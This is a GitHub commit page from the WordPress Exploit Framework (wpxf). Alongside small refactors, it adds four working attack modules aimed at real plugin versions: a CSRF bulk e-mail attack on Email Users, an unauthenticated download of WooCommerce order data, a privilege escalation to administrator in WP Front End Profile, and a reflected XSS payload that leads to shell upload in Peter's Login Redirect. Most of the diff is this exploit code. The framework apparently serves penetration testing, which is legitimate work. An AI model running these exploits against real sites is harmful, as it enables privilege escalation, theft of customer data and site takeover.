Skip to content
This repository was archived by the owner on Oct 22, 2020. It is now read-only.

Commit 73c6b64

Browse files
committed
Merged development into master
2 parents cafc77c + 3db1f80 commit 73c6b64

13 files changed

+439
-36
lines changed

env.rb

Lines changed: 5 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -1,11 +1,13 @@
11
wpxfbase = __FILE__
2+
23
while File.symlink?(wpxfbase)
34
wpxfbase = File.expand_path(File.readlink(wpxfbase), File.dirname(wpxfbase))
45
end
56

67
app_path = File.expand_path(File.join(File.dirname(wpxfbase)))
7-
$LOAD_PATH.unshift(app_path, 'lib')
8-
$LOAD_PATH.unshift(app_path, 'modules')
8+
9+
$LOAD_PATH.unshift(File.join(app_path, 'lib'))
10+
$LOAD_PATH.unshift(File.join(app_path, 'modules'))
911

1012
require 'colorize'
1113
require 'date'
@@ -20,7 +22,7 @@
2022
require 'wpxf/utility/text'
2123
require 'wpxf/utility/reference_inflater'
2224

23-
require 'github_updater'
25+
require_relative 'github_updater'
2426

2527
module Wpxf
2628
def self.data_directory=(val)

lib/cli/console.rb

Lines changed: 0 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,7 +1,6 @@
11
require 'readline'
22

33
require 'modules'
4-
require_all 'payloads'
54
require 'cli/auto_complete'
65
require 'cli/context'
76
require 'cli/modules'

lib/wpxf/net/http_client.rb

Lines changed: 7 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -1,3 +1,5 @@
1+
require 'uri'
2+
13
module Wpxf
24
module Net
35
# Provides HTTP client functionality.
@@ -62,13 +64,11 @@ def target_host
6264
# @param parts the URI parts to join and normalize.
6365
# @return [String] a normalized URI.
6466
def normalize_uri(*parts)
65-
uri = parts * '/'
66-
uri = uri.gsub(%r{(?<!:)//}, '/')
67-
unless uri.start_with?('/') || uri.start_with?('http://') ||
68-
uri.start_with?('https://')
69-
uri = '/' + uri
70-
end
71-
uri
67+
path = parts * '/'
68+
path = '/' + path unless path.start_with?('/', 'http://', 'https://')
69+
url = URI.parse(path)
70+
url.path.squeeze!('/')
71+
url.to_s
7272
end
7373

7474
# Returns the base URI string.

lib/wpxf/wordpress/reflected_xss.rb

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -21,6 +21,8 @@ def run
2121
end
2222

2323
return false unless super
24+
return true if aux_module?
25+
2426
emit_info 'Provide the URL below to the victim to begin the payload upload'
2527
puts
2628
puts url_with_xss
Lines changed: 87 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,87 @@
1+
class Wpxf::Auxiliary::EmailUsersCsrfBulkMail < Wpxf::Module
2+
include Wpxf::WordPress::StagedReflectedXss
3+
4+
def initialize
5+
super
6+
7+
update_info(
8+
name: 'Email Users <= 4.8.3 CSRF Bulk Mail',
9+
desc: 'This module exploits a lack of CSRF protection in versions <= 4.8.3 of '\
10+
'the Email Users plugin, which allows for the sending of a bulk e-mail to '\
11+
'all users of a specified role.',
12+
author: [
13+
'Julien Rentrop', # Disclosure
14+
'Rob Carr <rob[at]rastating.com>' # WPXF module
15+
],
16+
references: [
17+
['WPVDB', '8601'],
18+
['URL', 'https://sumofpwn.nl/advisory/2016/cross_site_request_forgery_vulnerability_in_email_users_wordpress_plugin.html']
19+
],
20+
date: 'Aug 15 2016'
21+
)
22+
23+
register_options([
24+
StringOption.new(
25+
name: 'user_role',
26+
desc: 'The role of the users to send the e-mail to',
27+
default: 'Subscriber',
28+
required: true
29+
),
30+
StringOption.new(
31+
name: 'email_body',
32+
desc: 'The HTML body of the e-mail to send',
33+
required: true
34+
),
35+
StringOption.new(
36+
name: 'email_subject',
37+
desc: 'The subject of the e-mail to send',
38+
required: true
39+
)
40+
])
41+
end
42+
43+
def check
44+
check_plugin_version_from_readme('email-users', '4.8.4')
45+
end
46+
47+
def user_role
48+
"role-#{datastore['user_role'].downcase}"
49+
end
50+
51+
def on_http_request(path, _params, _headers)
52+
return '' unless path.eql? normalize_uri(xss_path, initial_req_path)
53+
emit_info 'Serving CSRF script to victim...'
54+
stop_http_server
55+
{ type: 'text/html', body: initial_script }
56+
end
57+
58+
def vulnerable_url
59+
normalize_uri(wordpress_url_admin, 'admin.php?page=mailusers-send-to-group-page')
60+
end
61+
62+
def initial_script
63+
create_basic_post_script(
64+
vulnerable_url,
65+
'send' => 'true',
66+
'fromName' => '',
67+
'fromAddress' => '',
68+
'group_mode' => 'role',
69+
'mail_format' => 'html',
70+
'send_targets[]' => user_role,
71+
'subject' => datastore['email_subject'],
72+
'mailcontent' => datastore['email_body']
73+
)
74+
end
75+
76+
def run
77+
return false unless super
78+
79+
emit_info 'Provide the URL below to the victim to send the bulk e-mail'
80+
puts
81+
puts url_with_xss
82+
puts
83+
84+
start_http_server
85+
true
86+
end
87+
end
Lines changed: 65 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,65 @@
1+
class Wpxf::Auxiliary::WoocommerceOrderImportExportOrderDisclosure < Wpxf::Module
2+
include Wpxf
3+
4+
def initialize
5+
super
6+
7+
update_info(
8+
name: 'Order Import Export for WooCommerce <= 1.0.8 Order Information Disclosure',
9+
desc: 'Version <= 1.0.8 of the import export plugin for WooCommerce allows unauthenticated '\
10+
'users to download a CSV disclosing information about orders placed in the system.',
11+
author: [
12+
'David Peltier', # Disclosure
13+
'Rob Carr <rob[at]rastating.com>' # WPXF module
14+
],
15+
references: [
16+
['WPVDB', '8624'],
17+
['EDB', '40391']
18+
],
19+
date: 'Sep 19 2016'
20+
)
21+
22+
register_options([
23+
StringOption.new(
24+
name: 'export_path',
25+
desc: 'The file to save the export to',
26+
required: true
27+
)
28+
])
29+
end
30+
31+
def check
32+
check_plugin_version_from_readme('order-import-export-for-woocommerce', '1.0.9')
33+
end
34+
35+
def export_path
36+
normalized_option_value('export_path')
37+
end
38+
39+
def export_url
40+
normalize_uri(wordpress_url_admin, 'admin.php')
41+
end
42+
43+
def run
44+
return false unless super
45+
46+
emit_info 'Downloading order export CSV...'
47+
res = download_file(
48+
url: export_url,
49+
method: :get,
50+
params: {
51+
'page' => 'wf_woocommerce_order_im_ex',
52+
'action' => 'export'
53+
},
54+
local_filename: export_path
55+
)
56+
57+
if res.code != 200
58+
emit_error "Server responded with code #{res.code}"
59+
return false
60+
end
61+
62+
emit_success "Saved export to #{export_path}"
63+
true
64+
end
65+
end
Lines changed: 101 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,101 @@
1+
class Wpxf::Auxiliary::WpFrontEndProfilePrivilegeEscalation < Wpxf::Module
2+
include Wpxf
3+
4+
def initialize
5+
super
6+
7+
update_info(
8+
name: 'WP Front End Profile <= 0.2.1 Privilege Escalation',
9+
desc: 'The WP Front End Profile plugin, in versions <= 0.2.1, allows authenticated '\
10+
'users of any user level to escalate their user role to an administrator.',
11+
author: [
12+
'Rob Carr <rob[at]rastating.com>' # WPXF module
13+
],
14+
references: [
15+
['WPVDB', '8620']
16+
],
17+
date: 'Sep 15 2016'
18+
)
19+
20+
register_options([
21+
StringOption.new(
22+
name: 'username',
23+
desc: 'The WordPress username to authenticate with',
24+
required: true
25+
),
26+
StringOption.new(
27+
name: 'password',
28+
desc: 'The WordPress password to authenticate with',
29+
required: true
30+
),
31+
StringOption.new(
32+
name: 'profile_form_path',
33+
desc: 'The path to the page containing the profile editor form',
34+
required: true
35+
)
36+
])
37+
end
38+
39+
def check
40+
check_plugin_version_from_readme('wp-front-end', '0.2.2')
41+
end
42+
43+
def username
44+
datastore['username']
45+
end
46+
47+
def password
48+
datastore['password']
49+
end
50+
51+
def profile_form_url
52+
normalize_uri(full_uri, datastore['profile_form_path'])
53+
end
54+
55+
def fetch_profile_form(cookie)
56+
res = nil
57+
58+
scoped_option_change('follow_http_redirection', true) do
59+
res = execute_get_request(url: profile_form_url, cookie: cookie)
60+
end
61+
62+
res
63+
end
64+
65+
def form_fields_with_default_values(cookie)
66+
res = fetch_profile_form(cookie)
67+
return nil unless res && res.code == 200
68+
69+
fields = {}
70+
res.body.scan(/<input.+?name="(.+?)".+?value="(.*?)".*?>/i) do |match|
71+
if match[0].start_with?('wpfep_nonce_name', '_wp_http_referer', 'profile[')
72+
emit_info "Found field #{match[0]}", true
73+
fields[match[0]] = match[1]
74+
end
75+
end
76+
77+
fields
78+
end
79+
80+
def run
81+
return false unless super
82+
83+
cookie = authenticate_with_wordpress(username, password)
84+
return false unless cookie
85+
86+
emit_info 'Requesting profile editor form...'
87+
form_fields = form_fields_with_default_values(cookie)
88+
89+
if form_fields.nil?
90+
emit_error 'Failed to retrieve the profile form'
91+
return false
92+
end
93+
94+
form_fields['profile[wp_user_level]'] = 10
95+
form_fields['profile[wp_capabilities][administrator]'] = 1
96+
form_fields['profile[wpfep_save]'] = 'Update Profile'
97+
98+
emit_info 'Elevating privileges...'
99+
execute_post_request(url: profile_form_url, cookie: cookie, body: form_fields)
100+
end
101+
end
Lines changed: 51 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,51 @@
1+
class Wpxf::Exploit::PetersLoginRedirectReflectedXssShellUpload < Wpxf::Module
2+
include Wpxf::WordPress::StagedReflectedXss
3+
4+
def initialize
5+
super
6+
7+
update_info(
8+
name: 'Peter\'s Login Redirect <= 2.9.0 Reflected XSS Shell Upload',
9+
author: [
10+
'Yorick Koster', # Disclosure
11+
'Rob Carr <rob[at]rastating.com>' # WPXF module
12+
],
13+
references: [
14+
['WPVDB', '8602'],
15+
['URL', 'https://sumofpwn.nl/advisory/2016/cross_site_scripting_cross_site_request_forgery_in_peter_s_login_redirect_wordpress_plugin.html']
16+
],
17+
date: 'Aug 15 2016'
18+
)
19+
20+
register_options([
21+
StringOption.new(
22+
name: 'user_role',
23+
desc: 'The user role to store the script against',
24+
default: 'Administrator',
25+
required: true
26+
)
27+
])
28+
end
29+
30+
def check
31+
check_plugin_version_from_changelog('peters-login-redirect', 'readme.txt', '2.9.1')
32+
end
33+
34+
def user_role
35+
datastore['user_role'].downcase
36+
end
37+
38+
def vulnerable_url
39+
normalize_uri(wordpress_url_admin, 'options-general.php?page=wplogin_redirect.php')
40+
end
41+
42+
def initial_script
43+
create_basic_post_script(
44+
vulnerable_url,
45+
'rul_role' => user_role,
46+
'rul_role_address' => "\\\"><script>#{xss_ascii_encoded_include_script}<\\/script>",
47+
'rul_role_logout' => '',
48+
'rul_role_submit' => 'Add role rule'
49+
)
50+
end
51+
end

0 commit comments

Comments
 (0)